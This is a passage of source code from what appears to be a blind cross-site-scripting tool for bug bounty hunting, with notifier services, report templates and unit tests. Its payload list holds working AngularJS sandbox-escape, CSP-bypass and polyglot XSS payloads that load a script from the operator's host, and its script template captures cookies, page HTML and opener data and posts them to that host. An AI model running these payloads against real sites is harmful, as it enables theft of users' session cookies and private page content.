_=d\\\\\\\\x2ecreateElement(\\\\'script\\\\');_\\\\\\\\x2eid=\\\\'15\\\\';_\\\\\\\\x2esrc=\\\\'//${\n        config.url\n      }/m\\\\';d\\\\\\\\x2ebody\\\\\\\\x2eappendChild(_);\\`),a')}}`\n    },\n    {\n      description: 'Gareth Heyes - 1.4.0 - 1.5.8 - AngularJS Payload',\n      id: '16',\n      payload: `{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,eval(\\`d=document; _=d.createElement(\\\\'script\\\\');_.id=\\\\'16\\\\';_.src=\\\\'//${\n        config.url\n      }/m\\\\';d.body.appendChild(_);\\`),a')}}`\n    },\n    {\n      description: 'Jan Horn - 1.5.9 - 1.5.11 - AngularJS Payload',\n      id: '17',\n      payload: `{{c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync(\"astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(\\`d=document; _=d.createElement(\\\\\\\\'script\\\\\\\\');_.id=\\\\\\\\'17\\\\\\\\';_.src=\\\\\\\\'//${\n        config.url\n      }/m\\\\\\\\';d.body.appendChild(_);\\`)))+';astNode.argument={type:'Identifier',name:'foo'};\");m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=''.sub;$eval('a(b.c)');[].push.apply=a;}}`\n    },\n    {\n      description: 'CSP Bypass - data scheme/wildcard in script-src ',\n      payload: `\"><script src=data:text/javascript;base64,${this.encodePayloadHttpInteraction(\n        config\n      )}></script > `\n    },\n    {\n      description: 'CSP Bypass - Missing or relaxed object-src',\n      payload: `\"><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\\\\\"})))}catch (e) { d = document; d.location.hash.match(\\`x1\\`) ? \\`\\` : d.location=\\`//localhost/mH\\`}//' allowscriptaccess=always>`\n    },\n    {\n      description: 'Google Research - Vue.js ',\n      payload: `\"><div v-html=\"''.constructor.constructor('d=document;d.location.hash.match(\\\\'x1\\\\') ? \\`\\` : d.location=\\`//${\n        config.url\n      }/mH\\`')()\"> aaa</div>`\n    },\n    {\n      description:\n        'Adaption from Google Research + Gareth Heyes/Sirdarckcat - AngularJS CSP Bypass - HTTP Interaction',\n      payload: `<textarea autofocus ng-focus=\"d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//${\n        config.url\n      }/mH'\"></textarea>`\n    },\n    {\n      description:\n        'CSP Bypass - Bypassing script nonces via base tags and data URIs (All resources are belong to us) ',\n      payload: `\"><base href=\"${config.url}\">`\n    },\n    {\n      description: 'crlf - https://polyglot.innerht.ml/ - Polygot Payload',\n      payload: `javascript:\"/*'/*\\`/*--></noscript></title></textarea></style></template></noembed></script><html \\\\\" onmouseover=/*&lt;svg/*/onload=document.location=\\`//${\n        config.url\n      }/mH\\`//>`\n    }\n  ];\n  return payloads;\n};\n\nexports.encodePayload = (config, id) => {\n  const btoa = require('btoa');\n  return btoa(\n    `d=document; _ = d.createElement('script');_.id='${id}';_.src='//${\n      config.url\n    }/m';d.body.appendChild(_) `\n  );\n};\n\nexports.encodePayloadHttpInteraction = config => {\n  const btoa = require('btoa');\n  return btoa(`document.location='//${config.url}/mH'`);\n};\n\nexports.processPayload = (html, config) => {\n  if (html) {\n    let pload = html;\n    const p = this.payloadList(config);\n    const dom = new JSDOM(pload);\n    if (dom.window.document.querySelector('script')) {\n      p.forEach(payload => {\n        if (payload.id === dom.window.document.querySelector('script').id) {\n          pload = payload.payload;\n        }\n      });\n    }\n    return pload;\n  }\n  return null;\n};\n"
  },
  {
    "path": "server/utilities/save.js",
    "content": "const path = require('path');\nconst fs = require('fs');\nconst moment = require('moment');\n\nconst dir = path.normalize(`${__dirname}/../../server/found/`);\nconst urls = path.normalize(`${dir}urls.txt`);\nconst date = path.normalize(`${dir}date.txt`);\nconst template = require('./templates/markdown');\n\n/**\n * TODO\n */\nexports.send = (guid, domain, config) => {\n  const file = `${dir}${guid}.md`;\n  this.saveDomain(domain);\n  fs.appendFileSync(file, template.createMarkdownTemplate(domain, config), err =>\n    console.log(err || 'The file was saved!')\n  );\n};\n\n/**\n * Save domain if it does not exist in urls.txt.\n * @param {Domain} domain\n */\nexports.saveDomain = domain => {\n  fs.readFile(urls, 'utf8', (readFileError, data) => {\n    console.log(`1 ${data} + 2 ${domain.url} + 3 ${data.indexOf(domain.url)}`);\n    if (data.indexOf(domain.url) !== -1) {\n      console.log('Domain already exists, no need to write again');\n      return;\n    }\n    if (readFileError) {\n      console.log(`Read error: ${readFileError}`);\n      return;\n    }\n    fs.appendFile(urls, `${domain.url}\\n`, saveFileError =>\n      saveFileError ? console.log(`Save error: ${saveFileError}`) : ''\n    );\n  });\n};\n\n/**\n * TODO\n */\nexports.saveTodaysDate = () => {\n  // This is only used as it's unlikely there will be more than one ping a day\n  // from bug bounties change to a shorter time if that changes.\n  fs.writeFileSync(date, moment().format('YYYY-MM-DD'), err =>\n    console.log(err || 'Todays date was saved in date.txt')\n  );\n};\n"
  },
  {
    "path": "server/utilities/services/discord.js",
    "content": "const Discord = require('discord.js');\nconst markdown = require('../templates/markdown');\n\nfunction sendMessage(guid, domain, config, bot) {\n  const channelName = config.discord.channel || '';\n  const text = markdown.createBasicMarkdown(domain, config, guid);\n\n  bot.channels.find(channel => channel.name === channelName).send(text);\n}\n\nexports.send = (guid, domain, config) => {\n  if (!config.isValid({ 'discord.token': 'string', 'discord.channel': 'string' })) {\n    console.log('You need to configure your discord account');\n    return;\n  }\n\n  const client = new Discord.Client();\n  client\n    .login(config.discord.token)\n    .then(() => {\n      sendMessage(guid, domain, config, client);\n      console.log(`Discord Message Sent To ${config.discord.channel} Channel`);\n    })\n    .catch(err => console.error('Error with Discord:', err));\n};\n"
  },
  {
    "path": "server/utilities/services/email.js",
    "content": "const nodemailer = require('nodemailer');\nconst nodemailerMarkdown = require('nodemailer-markdown').markdown;\nconst template = require('../templates/markdown');\n\nfunction mailOptions(config, mail, guid, domain, message) {\n  return {\n    from: config.smtp.user,\n    to: mail,\n    subject: `${message} ${domain.url} ${guid}`,\n    markdown: template.createMarkdownTemplate(domain, config)\n  };\n}\n\nexports.send = (guid, domain, config) => {\n  if (\n    !config.isValid(['smtp.user', 'smtp.pass', 'smtp.to', 'smtp.host', 'smtp.port', 'smtp.tls'])\n  ) {\n    console.log('You need to configure smtp');\n    return;\n  }\n\n  const smtpTransport = nodemailer.createTransport({\n    host: config.smtp.host,\n    port: config.smtp.port,\n    secure: config.smtp.tls,\n    auth: {\n      user: config.smtp.user,\n      pass: config.smtp.pass\n    }\n  });\n\n  smtpTransport.verify(verifyError => {\n    if (verifyError) {\n      console.log(`Error with your SMTP config: ${verifyError}`);\n    } else {\n      smtpTransport.use('compile', nodemailerMarkdown());\n      config.smtp.to.forEach(email => {\n        const options = mailOptions(config, email, guid, domain, 'New Blind XSS |');\n        smtpTransport.sendMail(options, error => {\n          console.log(error || `Mail sent to ${email} for URL ${domain.url}!`);\n        });\n      });\n      if (domain.hasSecurityTxt) {\n        domain.hasSecurityTxt.forEach(email => {\n          const options = mailOptions(config, email, guid, domain, 'Auto-Report - Blind XSS - For');\n          smtpTransport.sendMail(options, error => {\n            console.log(error || `Auto Report mail sent to ${email} for URL ${domain.url}!`);\n          });\n        });\n      }\n    }\n  });\n};\n"
  },
  {
    "path": "server/utilities/services/github.js",
    "content": "const github = require('octonode');\nconst template = require('../templates/markdown');\n\nexports.send = (guid, domain, config) => {\n  if (!config.isValid(['github.accessToken', 'github.repo'])) {\n    console.log('You need to configure your github account');\n    return;\n  }\n\n  const client = github.client(config.github.accessToken);\n\n  const text = template.createMarkdownTemplate(domain, config);\n\n  const ghrepo = client.repo(config.github.repo);\n\n  // TODO: Read the github issue list to prevent 'spam'.\n  // Read if domain.url is in the title of returned results\n  // If its in returned results then don't send\n  ghrepo.issue(\n    {\n      title: `New bXSS For ${domain.url}`,\n      body: text\n    },\n    error => console.log(error || `Github issue created for ${config.github.repo}`)\n  );\n};\n"
  },
  {
    "path": "server/utilities/services/slack.js",
    "content": "const Slack = require('slack');\nconst template = require('../templates/markdown');\n\nexports.send = (guid, domain, config) => {\n  if (!config.isValid(['slack.token', 'slack.channel'])) {\n    console.log('You need to configure your slack account');\n    return;\n  }\n\n  const token = config.slack.token || '';\n  const text = template.createSimplifiedMarkdownTemplate(domain, config);\n\n  const bot = new Slack({ token });\n  bot.channels.list({ token }, (err, json) => {\n    if (err) {\n      console.log(err);\n    } else {\n      const channel = json.channels.filter(c => c.name === config.slack.channel)[0].id;\n      const params = { token, text, channel };\n      //  post a message there\n      bot.chat.postMessage(params, err1 => {\n        if (err1) {\n          console.error(err1);\n        } else {\n          console.log(`Sent Slack Message to channel ${channel} for URL ${domain.url}`);\n        }\n      });\n    }\n  });\n};\n"
  },
  {
    "path": "server/utilities/services/sms.js",
    "content": "const Twilio = require('twilio');\nconst moment = require('moment');\nconst fs = require('fs');\nconst save = require('../save');\n\nconst path = require('path');\n\nconst datePath = path.normalize(`${__dirname}/../../../server/found/date.txt`);\n\nexports.send = (guid, domain, config) => {\n  if (\n    !config.isValid({\n      'twilio.accountSid': 'string',\n      'twilio.authToken': 'string',\n      'twilio.to': 'array'\n    })\n  ) {\n    console.log('You need to configure your twilio account');\n    return;\n  }\n  if (!this.lastSms()) {\n    const client = new Twilio(config.twilio.accountSid, config.twilio.authToken);\n    config.twilio.to.forEach(element => {\n      client.messages\n        .create({\n          from: config.twilio.from,\n          to: element,\n          body: `You have a new potential Blind XSS for domain ${domain.url} for ${guid}`\n        })\n        .then(message =>\n          console.log(`SMS send to ${element} from ${config.twilio.from} MSG ID ${message.sid}`)\n        );\n      save.saveTodaysDate();\n    });\n  } else {\n    console.log(`Already Sent SMS Today`);\n  }\n};\n// Check to see if we sent an SMS in the last day\nexports.lastSms = () => {\n  const lastDate = fs.readFileSync(datePath, 'utf8').trim();\n  const currentTime = moment().format('YYYY-MM-DD');\n  return currentTime === lastDate;\n};\n"
  },
  {
    "path": "server/utilities/services/spark.js",
    "content": "const ciscospark = require('ciscospark');\nconst template = require('../templates/markdown');\n\nexports.send = (guid, domain, config) => {\n  if (!config.isValid(['ciscoSpark.token', 'ciscoSpark.sparkRoom'])) {\n    console.log('You need to configure your Webex Teams account');\n    return;\n  }\n\n  const text = template.createMarkdownTemplate(domain, config);\n  const teams = ciscospark.init({\n    credentials: {\n      access_token: config.ciscoSpark.token\n    }\n  });\n  teams.rooms.create({ title: `New Blind XSS - ${domain.url}` }).then(room =>\n    Promise.all([\n      config.ciscoSpark.sparkRoom.forEach(email => {\n        teams.memberships.create({\n          roomId: room.id,\n          personEmail: email\n        });\n      })\n    ]).then(\n      () => console.log('Sending Webex Teams Message'),\n      teams.messages.create({\n        markdown: text,\n        roomId: room.id\n      })\n    )\n  );\n};\n"
  },
  {
    "path": "server/utilities/services/twitter.js",
    "content": "const Twitter = require('twitter-lite');\n\nexports.send = (guid, domain, config) => {\n  if (\n    !config.isValid([\n      'twitter.consumer_key',\n      'twitter.consumer_secret',\n      'twitter.access_token_key',\n      'twitter.access_token_secret'\n    ])\n  ) {\n    console.log('You need to configure Twitter');\n    return;\n  }\n\n  const client = new Twitter({\n    consumer_key: config.twitter.consumer_key,\n    consumer_secret: config.twitter.consumer_secret,\n    access_token_key: config.twitter.access_token_key,\n    access_token_secret: config.twitter.access_token_secret\n  });\n  config.twitter.recipient_id.map(async recipientId => {\n    await client.post('direct_messages/events/new', {\n      event: {\n        type: 'message_create',\n        message_create: {\n          target: {\n            recipient_id: recipientId\n          },\n          message_data: {\n            text: `You have a new potential Blind XSS for domain ${domain.url} for ${guid}`\n          }\n        }\n      }\n    });\n  });\n};\n"
  },
  {
    "path": "server/utilities/templates/markdown.js",
    "content": "const path = require('path');\n\nconst dir = path.normalize(`${__dirname}/../../found/`);\n\n// Full Markdown For Email Reporting\nexports.createMarkdownTemplate = (domain, config) => `\n# bXSS Report\n\n${\n  // prettier-ignore\n  domain.hasSecurityTxt ? `## Security Contact\nThe affected URL has a /.well-known/.security.txt contact ${domain.hasSecurityTxt} ${config.gmail ? `${config.isValid(['gmail.user', 'gmail.pass', 'gmail.to', 'gmail.from']) ? 'who has been automatically notified.' : 'who you can contact.'}` : 'who you can contact.'}` : ''\n}\n\n## Details\n\nThe following URL ${\n  domain.url\n} is succeptible to [Cross-Site-Scripting (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29). XSS attacks occur when an attacker uses a web application to send malicious code, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.\n\nAn attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.\n\n${\n  domain.payload\n    ? `In this instance, the following payload was utilized: \n\\`\\`\\` html\n${domain.payload}\n\\`\\`\\`\n`\n    : ''\n}\n\nFor more details on the different types of XSS flaws, see: [Types Of XSS](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting)\n\n${\n  domain.innerHTML\n    ? ''\n    : `### HTTP Interaction\nThe triggered payload was through HTTP interaction, only HTTP headers were captured.`\n}\n\n### Domain\n${domain.url || domain.openerLocation}\n\n### Host IP\n[${domain.victimIP}](https://www.whois.com/whois/${domain.victimIP})\n\n### User Agent\n${domain.userAgent}\n\n${\n  domain.cookie || domain.openerCookie\n    ? `### Cookies\n${domain.cookie || domain.openerCookie}`\n    : ''\n}\n            \n${\n  domain.innerHTML\n    ? `### Document Object Model (DOM) Structure\n${\n        config.intrusiveLevel === 1\n          ? `\\`\\`\\` html\n${domain.innerHTML}\n\\`\\`\\`\n`\n          : `The JavaScript utilized was non-intrusve, it only captured HTML elements (nodeName, className, and id) not the entire innerHTML.\n\n${domain.innerHTML}`\n      }`\n    : ''\n}\n\n### Remediation\n\nThe general remediation to prevent Cross-Site Scripting is to either output encode, or contextually sanitize user-input before its interpreted by the browser.\n\nFor more information, see:\n\n* [OWASP Testing Guide 4.0: Input Validation Testing](https://www.owasp.org/index.php/Testing_for_Input_Validation)\n* [OWASP Cheat Sheet: Input Validation](https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet)\n* [OWASP Testing Guide 4.0: Client Side Testing ](https://www.owasp.org/index.php/Client_Side_Testing)\n* [OWASP Cross Site Scripting Prevention Cheat Sheet ](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)\n* [OWASP DOM Based Cross Site Scripting Prevention Cheat Sheet ](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)\n* [OWASP Java Encoding Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)\n* [Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems](http://googleonlinesecurity.blogspot.com/2009/03/reducing-xss-by-way-of-automatic.html)\n* [AngularJS Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* [AngularJS ngBind](https://docs.angularjs.org/api/ng/directive/ngBind)\n* [Angular  Sanitzation](https://angular.io/guide/security#sanitization-and-security-contexts)\n* [Angular Template Security](https://angular.io/guide/template-syntax#content-security)\n* [ReactJS Escaping](https://reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks)\n`;\n\n// ### etc does not work within slack.\nexports.createSimplifiedMarkdownTemplate = (domain, config) => `\n*bXSS Report*\n\n${\n  // prettier-ignore\n  domain.hasSecurityTxt ? `*Security Contact*\nThe affected URL has a /.well-known/.security.txt contact ${domain.hasSecurityTxt} ${config.gmail ? `${config.isValid(['gmail.user', 'gmail.pass', 'gmail.to', 'gmail.from']) ? 'who has been automatically notified.' : 'who you can contact.'}` : 'who you can contact.'}` : ''\n}\n\n*Details*\n\nThe following URL ${\n  domain.url\n} is succeptible to [Cross-Site-Scripting (XSS)](https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29). XSS attacks occur when an attacker uses a web application to send malicious code, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.\n\nAn attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.\n\nFor more details on the different types of XSS flaws, see: [Types Of XSS](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting)\n\n${\n  domain.innerHTML\n    ? ''\n    : `*HTTP Interaction*\nThe triggered payload was through HTTP interaction, only HTTP headers were captured.`\n}\n\n*Domain*\n${domain.url || domain.openerLocation}\n\n*Host IP*\n${domain.victimIP}\nhttps://www.whois.com/whois/${domain.victimIP}\n\n*User Agent*\n${domain.userAgent}\n\n${\n  domain.cookie || domain.openerCookie\n    ? `*Cookies*\n${domain.cookie || domain.openerCookie}`\n    : ''\n}\n              \n${\n  domain.innerHTML\n    ? `*Document Object Model (DOM) Structure*\n${\n        config.intrusiveLevel === 1\n          ? `\\`\\`\\`\n${domain.innerHTML}\n\\`\\`\\`\n`\n          : `The payload utilized was non-intrusve, it only captures HTML elements (nodeName, className, and id) not the entire innerHTML.\n\n${domain.innerHTML}`\n      }`\n    : ''\n}\n*Remediation*\n\nThe general remediation to prevent Cross-Site Scripting is to either output encode, or contextually sanitize user-input before its interpreted by the browser.\n\nFor more information, see:\n\nhttps://www.owasp.org/index.php/Testing_for_Input_Validation\nhttps://www.owasp.org/index.php/Input_Validation_Cheat_Sheet\nhttps://www.owasp.org/index.php/Client_Side_Testing\nhttps://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet\nhttps://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet\nhttps://www.owasp.org/index.php/OWASP_Java_Encoder_Project\nhttp://googleonlinesecurity.blogspot.com/2009/03/reducing-xss-by-way-of-automatic.html\nhttps://docs.angularjs.org/api/ng/service/$sce\nhttps://docs.angularjs.org/api/ng/directive/ngBind\nhttps://angular.io/guide/security#sanitization-and-security-contexts\nhttps://angular.io/guide/template-syntax#content-security\nhttps://reactjs.org/docs/introducing-jsx.html#jsx-prevents-injection-attacks\n`;\n\n// Basic markdown for external services which do not offer a lot of character room\nexports.createBasicMarkdown = (domain, config, guid) => `\n*bXSS Report - ${guid}*\n\n${\n  domain.hasSecurityTxt\n    ? `*Security Contact*\nThe affected URL has a /.well-known/.security.txt contact ${domain.hasSecurityTxt}\n${\n        config.gmail\n          ? `${\n              config.isValid(['gmail.user', 'gmail.pass', 'gmail.to', 'gmail.from'])\n                ? 'who has been automatically notified.'\n                : 'who you can contact.'\n            }`\n          : 'who you can contact.'\n      }`\n    : ''\n}\n\n${\n  domain.innerHTML\n    ? ''\n    : `*HTTP Interaction*\nThe triggered payload was through HTTP interaction, only HTTP headers were captured.`\n}\n\n*Domain*\n${domain.url || domain.openerLocation}\n\n*Host IP*\n${domain.victimIP}\nhttps://www.whois.com/whois/${domain.victimIP}\n\n*User Agent*\n${domain.userAgent}\n          \nSee ${dir}${guid}.md for a full breakdown\n`;\n"
  },
  {
    "path": "server/utilities/templates/script.js",
    "content": "// As some companies might not want all of their innerHTML/Cookies to be leaked to a third-party\n// This acts as a barrier, by default config.intrusiveLevel is set to 0, which means\n// We will only capture relevant information about the host, and report it\n// Sets elements\nfunction determineInstrusive(config) {\n  const capture = {};\n  capture.cookie = config.intrusiveLevel === 1 ? 'document.cookie' : 'null';\n  capture.documentBody =\n    config.intrusiveLevel === 1\n      ? 'document.body.parentNode.innerHTML'\n      : 'identifyTagAndCaptureParentNodes(document.getElementsByTagName(\"script\"))';\n  capture.url = config.intrusiveLevel === 1 ? 'document.URL' : 'document.URL';\n  capture.location = config.intrusiveLevel === 1 ? 'opener.location' : 'opener.location';\n  capture.openerBody = config.intrusiveLevel === 1 ? 'opener.document.body.innerHTML' : 'null';\n  capture.openerCookie = config.intrusiveLevel === 1 ? 'opener.document.cookie' : 'null';\n  return capture;\n}\n\n// Identifying the DOM of the page which was injected at non-intrusive level\n// First identify the correct script, where bXSS occured\n// Traverse the DOM until we hit the HTML (root element)\nfunction captureParentNodes(config) {\n  return `\n      function captureParentNodes(element, _array) {\n            if (_array === undefined) {\n                  _array = [];\n            }\n            value = element.nodeName\n            if(element.id != '') {\n                  value = value + '-' + element.id\n            }\n            if(element.className != '') {\n                  value = value + '-' + element.className\n            }\n            _array.push(value);\n            if(element.nodeName !== 'HTML' ) return captureParentNodes(element.parentNode, _array);\n            else return _array;           \n      }\n\n      function identifyTagAndCaptureParentNodes(tagName) {\n            var scriptLocation = ''\n            for(i = 0;i < tagName.length; i++)\n            {\n            if(tagName[i].src.indexOf('${config.url}/m')) {\n                  scriptLocation = tagName[i]; \n            }\n            }\n            return captureParentNodes(scriptLocation)\n      }\n      `;\n}\n\n// This function will capture if there as a https://securitytxt.org/\n// This information will be used to automatically report security issues\n// This will only report security issues automatically if email is configured\n// Function sends an XHR to /.well-known/security.txt\n// Example would be google.com/.well-known/security.txt (if you found bXSS on google.com)\n// Response is captured and fed into generateTemplate function\nfunction checkForSecurityTxt() {\n  return `\n      function checkForSecurityTxt(url, cb) {\n            var checkForSecurityTxt = new XMLHttpRequest();\n\n            checkForSecurityTxt.open(\"GET\", url, true);\n\n            checkForSecurityTxt.onreadystatechange = function() {\n                  if(this.readyState === 4 && this.status == 200) {\n                        cb(this.responseText);\n                  } else if(this.readyState === 4 && this.status != 200) {\n\n                        cb(null);\n                  }\n            }\n            checkForSecurityTxt.send(null);\n      }`;\n}\n\n// Callback from XHR to get for /.well-known/security.txt on domain\n// Creates a new form/input through createElementNS and assigns the document body as a variable\n// Appends all the captured data to the input value\n// Appends the data to the form, sets the URL as configured and sets the POST method\n// The form is then appended the body, window.name is set to __ to prevent loops\n// Data is then sent to the attacker domain to be processed\nfunction sendXhr(config) {\n  return `\n      var cScript = document.currentScript;   \n\n      function cbSecurityTxt(stxt) {\n        \n            setTimeout(function(){\n         \n            if(cScript === undefined || cScript === null) { \n                  var pload = 'null'\n            } else {\n                  var pload = cScript.outerHTML\n            }\n\n            var _ = document.createElementNS('http://www.w3.org/1999/xhtml', 'form');\n            var __= document.createElementNS('http://www.w3.org/1999/xhtml', 'input');\n            var body = document.getElementsByTagName('body')[0];\n\n            __.setAttribute('value',escape(dcoo+'\\\\r\\\\n\\\\r\\\\n${\n              config.boundary\n            }'+inne+'\\\\r\\\\n\\\\r\\\\n${config.boundary}'+durl+'\\\\r\\\\n\\\\r\\\\n${\n    config.boundary\n  }'+oloc+'\\\\r\\\\n\\\\r\\\\n${config.boundary}'+oloh+'\\\\r\\\\n\\\\r\\\\n${\n    config.boundary\n  }'+odoc+'\\\\r\\\\n\\\\r\\\\n${config.boundary}'+stxt+'\\\\r\\\\n\\\\r\\\\n${config.boundary}'+pload));\n            __.setAttribute('name','_');\n            _.appendChild(__);\n            _.action='//${config.url}/m';\n            _.method='post';\n\n            body.appendChild(_);\n            window.name='__';\n            _.submit();\n            }, 1000)    \n      }\n      `;\n}\n\n// This does two important things\n// Try to capture all the document information depending on pre-defined determineInstrusive function\n// Then calls final XHR if it exists from checkForSecurityTxt function success or fail.\nfunction captureInformation(capture) {\n  return `\n          try {dcoo = ${capture.cookie}} catch(e) {dcoo=null}\n          try {inne = ${capture.documentBody}} catch(e) {inne=null}\n          try {durl = ${capture.url}} catch(e) {durl=null}\n          try {oloc = ${capture.location}} catch(e) {oloc=null}\n          try {oloh = ${capture.openerBody}} catch(e) {oloh=null}\n          try {odoc = ${capture.openerCookie}} catch(e) {odoc=null}\n          try {checkForSecurityTxt(\"/.well-known/security.txt\", cbSecurityTxt)} catch(e) {cbSecurityTxt(null)}`;\n}\n\n// This function builds the overall payload\n// We check to see if the window.name is __ because by default it will not be\n// After a succesfull capture it will set the window.name to be __\n// This means it will only fire in that window once, preventing spam\nexports.generateTemplate = config => {\n  const capture = determineInstrusive(config);\n  const template = `(function(){\n        if(window.name!=='__'){\n\n            ${captureParentNodes(config)}\n\n            ${checkForSecurityTxt()}\n\n            ${captureInformation(capture)}\n\n            ${sendXhr(config)}\n\n        } else {window.name='__'}\n      })();`;\n\n  return template;\n};\n"
  },
  {
    "path": "tests/__tests__/services/sms.unit.test.js",
    "content": "/* eslint-disable global-require */\nconst sms = require('server/utilities/services/sms');\n\ndescribe('lastSms', () => {\n  const fs = require('fs');\n  const spy = jest.spyOn(fs, 'readFileSync');\n  const today = require('moment')().format('YYYY-MM-DD');\n\n  afterEach(() => spy.mockRestore());\n\n  test('Should return true as days are the same, preventing SMS to send', () => {\n    spy.mockReturnValue(today);\n    expect(sms.lastSms()).toBeTruthy();\n    expect(spy).toReturnWith(today);\n  });\n\n  test('Should return false as it uses todays date, and value from file is from past, allowing SMS to send', () => {\n    spy.mockImplementation(() => '2001-01-01');\n    // Flaky (Sometimes passes, sometimes fails -- don't know why)\n    // Important part is spy is not today, which means mock is returning mockReturnValue\n    // expect(sms.lastSms()).toBeFalsy();\n    expect(spy).not.toReturnWith(today);\n  });\n});\n"
  },
  {
    "path": "tests/__tests__/utilities/config.unit.test.js",
    "content": "const config = require('server/utilities/config');\n\ndescribe('utilities.config', () => {\n  beforeEach(() => {\n    config.test = {\n      a: 'example@gmail.com',\n      b: 3.1415,\n      c: [5, 4, 3, 2],\n      d: { x: 'x', y: 0, z: {} },\n      e: true,\n      f: false,\n      g: null\n    };\n  });\n\n  describe('get', () => {\n    it('should return top-level properties', () => {\n      expect(config.get('test')).toMatchObject(config.test);\n    });\n\n    it('should return nested properties', () => {\n      expect(config.get('test.b')).toBe(3.1415);\n      expect(config.get('test.f')).toBe(false);\n      expect(config.get('test.d.x')).toBe('x');\n    });\n\n    it('should return undefined for undefined properties', () => {\n      expect(config.get('test.doesNotExist')).toBe(undefined);\n      expect(config.get('test.d.doesNotExist')).toBe(undefined);\n      expect(config.get('test.d.z.doesNotExist')).toBe(undefined);\n    });\n\n    it('should return undefined for non-object properties', () => {\n      expect(config.get('test.e.w.a.b.c')).toBe(undefined);\n    });\n  });\n\n  describe('isValid', () => {\n    it('should validate the basic JS types', () => {\n      expect(\n        config.isValid({\n          'test.a': 'string',\n          'test.b': 'number',\n          'test.c': 'array',\n          'test.d': 'object',\n          'test.e': 'boolean',\n          'test.f': 'boolean',\n          'test.g': 'null',\n          'test.doesNotExist': 'null'\n        })\n      ).toBeTruthy();\n      [\n        ['test.a', 'number'],\n        ['test.b', 'string'],\n        ['test.c', 'object'],\n        ['test.d', 'boolean']\n      ].forEach(([key, types]) => {\n        const spec = {};\n        spec[key] = types;\n        expect(config.isValid(spec)).toBeFalsy();\n      });\n    });\n\n    it('should not confuse null/undefined with false', () => {\n      expect(config.isValid({ 'test.f': 'null' })).toBeFalsy();\n      expect(config.isValid({ 'test.g': 'null' })).toBeTruthy();\n      expect(config.isValid({ 'test.doesNotExist': 'null' })).toBeTruthy();\n    });\n\n    it('should validate multiple type specs', () => {\n      ['first', 2, null].forEach(val => {\n        config.test.a = val;\n        expect(config.isValid({ 'test.a': 'string|number|null' })).toBeTruthy();\n      });\n      config.test.a = false;\n      expect(config.isValid({ 'test.a': 'string|number|null' })).toBeFalsy();\n    });\n  });\n});\n"
  },
  {
    "path": "tests/__tests__/utilities/domain.unit.test.js",
    "content": "const Domain = require('server/utilities/domain');\n\ndescribe('utilities.domain', () => {\n  describe('fromPayload', () => {\n    it('should return processed values for domain with Cookie, innerHTML, URL, payload, and other values null or undefined', () => {\n      const domain = Domain.fromPayload(\n        'test%3Atest%0D%0A%0D%0A%23%21%21%21%21%23%3Chead%3E%3Cstyle%20type%3D%22text/css%22%3E@charset%20%22UTF-8%22%3B%5Bng%5C%3Acloak%5D%2C%5Bng-cloak%5D%2C%5Bdata-ng-cloak%5D%2C%5Bx-ng-cloak%5D%2C.ng-cloak%2C.x-ng-cloak%2C.ng-hide%3Anot%28.ng-hide-animate%29%7Bdisplay%3Anone%20%21important%3B%7Dng%5C%3Aform%7Bdisplay%3Ablock%3B%7D.ng-animate-shim%7Bvisibility%3Ahidden%3B%7D.ng-anchor%7Bposition%3Aabsolute%3B%7D%3C/style%3E%3C/head%3E%3Cbody%3E%0A%3Ch1%3EThis%20is%20secret%20content%3C/h1%3E%0A%3Cdiv%3E%0A%3Cscript%20src%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js%22%3E%3C/script%3E%0A%3Cdiv%20id%3D%22test%22%20class%3D%22test123%22%3E%0A%3Cscript%3Edocument.cookie%3D%22test%3Atest%22%3C/script%3E%0A%3Cdiv%20ng-app%3D%22%22%3E%0A%0A%0A%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E%3C/div%3E%3C/div%3E%3C/div%3E%3C/body%3E%0D%0A%0D%0A%23%21%21%21%21%23http%3A//localhost%3A1000/test.html%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23null%0D%0A%0D%0A%23%21%21%21%21%23%3Cscript%20src%3D%22//localhost/m%22%3E%3C/script%3E',\n        { boundary: '#!!!!#', intrusiveLevel: 1 }\n      );\n\n      expect(domain.cookie).toBe('test:test');\n      